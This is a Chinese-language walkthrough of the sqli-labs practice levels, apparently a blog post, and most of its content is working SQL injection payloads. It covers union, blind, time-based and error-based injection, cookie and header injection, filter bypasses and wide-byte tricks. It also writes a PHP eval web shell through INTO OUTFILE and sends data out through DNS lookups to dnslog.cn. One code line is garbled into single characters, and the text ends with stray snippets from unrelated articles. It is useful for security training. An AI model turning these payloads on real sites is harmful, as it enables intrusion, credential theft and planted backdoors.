什么是sql注入
SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。
代码对带入SQL语句的参数过滤不严格
未启用框架的安全配置,例如: PHP的magic. quotes. _gpc
未使用框架安全的查询方法
测试接未删除
未启用防火墙
未使用其他的安全防护设备
1.concat(str1,str2,…)——没有分隔符地连接字符串2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串3.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
Mysql查询经常用到的语句
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=库名
查列:select column_name from information_schema.columns where table_name=表名
查数据:select 列名 from 库名.表名
sql注入简单三步骤
第一:输入ID的值使页面不发生变化
第二:输入一些特殊字符使得页面报错
第三:要让页面不报错
http://localhost/sql/Less-1/?id=1’
上述错误当中,我们可以看到提交到sql中的1’在经过sql语句构造后形成’1’'LIMIT0,1,多加了一个’。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的‘去掉呢?尝试‘or1=1–+
此时构造的sql语句就成了Select******whereid='1’or1=1–+'LIMIT0,1
Mysql注入—sqlilabs—lcamry11此时构造的sql语句就成了Select*****whereid='1’or1=1–+'LIMIT0,1可以看到正常返回数据。此处可以利用orderby。Orderby对前面的数据进行排序,这里有三列数据,我们就只能用order by 3,超过3就会报错。‘order by 4–+的结果显示结果超出
最后从源代码中分析下为什么会造成注入?Sql语句为
s
q
l
=
"
S
E
L
E
C
T
?
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
′
sql="SELECT*FROMusersWHEREid='
sql="SELECT?FROMusersWHEREid=′id’LIMIT0,1";Id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交‘or1=1–+,直接构造的sql语句就是SELECTFROMusersWHEREid=’1’or1=1–+LIMIT0,1这条语句因or1=1所以为永恒真。
输入一下语句查询出当前数据库,和库里面的所有的表
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
查出users表里面所有列,
有 id ,username,password列
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
查看里面的数据
?id=-1' union select 1,database(),group_concat(concat_ws("@",'username','password')) from security.users --+
将’(单引号)添加到数字中,没有闭合方式
所以这里的奇数个单引号破坏了查询,导致抛出错误。因此我们得出的结果是,查询代码使用了整数。
页面回显正常
查看到当前数据库和用户
输入单引号后发现页面报错,并且出现了一个括号
可以判定是个 ’ (单引号 ) 和 )(左括号) 的闭合方式
查看到数据库和用户
是一个双引号和右括号的闭合方式
字段数为3的
页面自出现两种结果,要么报错,要么不报错,所以这是一道盲注题
经过测试,是一道布尔盲注,闭合方式是单引号闭合
判断当前数据库长度为8 length(database())=8
ascii(substr(database(),1,1))=115 当=115的时候页面回显正常
substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值
用burpsurite进行爆破
设置好参数进行破解
设置好参数后可进行爆破
也可以用报错的方式进行注入
接下来就是获取表名,就不一一进行爆破了,
先获取表数量
and (select count() from information_schema.tables where table_schema=database())>5
再用limit依次获取每个表名的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,
最后获取每个表名的名字
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
获取列名
先获取列名个数
and (select count() from information_schema.columns where table_name=‘users’ and table_schema=database())>5,
再获取列名长度
and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,
最后获取列名
and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))>97
获取数据
先确定第一个用户名长度
and (select length(username) from users limit 0,1)>5
and (select length(列名) from 库名.表名 limit 0,1)=11–+
再确定用户名每一个字符的对应字母
and ascii(substr((select username from users limit 0,1),1,1))>97
and ascii(substr((select 列名 from 库名.表名 limit 0,1),1,1))=97
是一道双引号闭合的布尔盲注,这里就不一一讲解了
判断闭合
测试发现id=1’报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为((’$id’))闭合。根据提示Use outfile…,应该是具有导出什么的了。
直接写入shell,用蚁剑连接即可
?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\sql\\Less-7\\shell.php"--+
页面虽然报错,但已成功写入文件
若是写入不成功,添加这行代码 secure_file_priv=
添加到mysqld下面
这是一道单引号闭合的盲注,可以参考less-5用burpsuite爆破
sleep() //延迟函数
if(condition,true,false) //条件语句
测试?id=1’ and sleep(5) --+ 页面会延时5秒再回显,判断为时间盲注
参考less-5的步骤
顺序对应ascii表对照就可以了
id=1’ and if((ascii(substr(database(),1,1))>1),sleep(3),1) --+ 爆出当前数据库
爆库里面的第一个表
1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1),sleep(3),1) --+
Less-10
基于"的时间盲注是一道双引号的时间输入,和上面的操作一样即可
Less-11
基于’的POST型注入登录后,抓包
在uname、输入单引号后发现页面报错,可以判断是个单引号的闭合方式
字段数为2列,然后就可以用联合查询了
是一道上引号加左括号的闭合方式,字段书为2
单引号左括号的闭合方式,用报错注入
双引号的闭合方式,在利用报错注入
申请临时dns http://dnslog.cn/
利用dns回显
抓包输入sql语句,dns是自己临时申请的
and if((select load_file(concat('\\\\',(select version()),'.eqnt6l.dnslog.cn'))),1,1) --+
刷新页面,就看到当前数据库版本
admin") and if((select load_file(concat(’\\’,(select database()),’.8cpfmy.dnslog.cn\aaa’))),1,1) --+
闭合方式 ’ and 1=1 and’
知道闭合方式后利用报错注入
在referer这里输入单引号后发现页面出现报错
闭合方式 ’ and 1=1 and ’
用报错函数,直接可以查看到数据库当前版本
在cookie这里输入单引号发现页面报错,可以判断是cookie注入
用updatexml报错注入
这是一道cookie注入,并且数据是经过加密的,当输入admin’用base64加密,页面出现错误,可以判定是个单引号输入方式
用base64加密数据在经过提交时,显示当前数据库信息
打开用BP抓,发现admin是经过base加密的
所以要想注入,都是要经过加密才可以,经过我的测试,是个双引号闭合方式,uname=后面所有内容都是要经过加密 字段数是三列
-admin" union select 1,database(),3 # base64加密
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIw==
查到当前数据库
利用报错的方式进行注入
假设知道有admin用户但是不知道密码
首先点击New User click here? 注册admin’ – -用户
然后登录该用户修改密码
然后再使用admin输入刚才admin’ – -修改的密码
登录成功,此时两个账号的密码一样
双写or
对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
id=1’and(extractvalue(1,concat(1,concat(select%a0table_name%a0from%a0informatiom_schema.tables%a0where%a0table_schema=database()))))and’1’='1
本人绕过失败,不知道咋回事 求解求解
?id=1'or(extractvalue(1,concat(0x7e,(SElEcT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()))))or'1'='1
成功绕过
报错了
注入语句
id=1&id=-1" union select 1,2,3
注入语句:
id=1&id=-1") union select 1,2,3
正常思路 输入’ " 等等一些特殊符号
输入单引号之后出现了转义,把单引号转义成’,所以要用GBK编码 %df’
字段数为3列,然后使用联合查询就可以了
查询条件时要用单引号括这,如何直接用GBK转码是不行,所以要用十六进制
这关和上一关操作一样
和上一关类似,也是宽字节注入,要利用抓包,查到当前数据库,然后直接带入公司就可以了,
id 没有被’ “符号包括起来,所以直接提交payload,后面跟上面方式一样了
这一关特殊字符都被过滤了,输入什么都没有回显,可以直接用GBK编码尝试,尝试之后发现和上面的注入方式一样
直接在数据包里面修改数据即可
一、简介 功能:所见即所得,支持图片和Flash,工具栏可自由配置,使用简单 兼容...
如 t=rs.BookMark 记录当前的标记 rs.BookMark=t 把游标移动到记录时的位置 例子...
微软确认,将会在 Win10 Build 19043.899(21H1)更新中,彻底从系统删除经典版 Ed...
刚学习了ssm框架,ajax校验成功,分享下 1.导入jar包 2.配置spring-servlet.xml be...
有个朋友 做 某种小众音乐交换站的(他们那个行业的昵图网),需要用到付费下载...
方案一 自定义yaml文件安装redis cluster 背景 在Kubernetes中部署Redis集群面临...
1 前言 大家好,我是吴老板。用Celery 官方的话来说,Celery 是一个非常优秀的分...
cint与clng含义: 都可以强制将一个表达式转换成数据类型 cint与clng处理数据的...
在文章开头先抛几个问题: (1)什么时候才需要分库分表呢?我们的评判标准是什么? ...
场景描述 我们在日常学习和研发中经常会接触一些底层的源码有些同学在遇到位运算...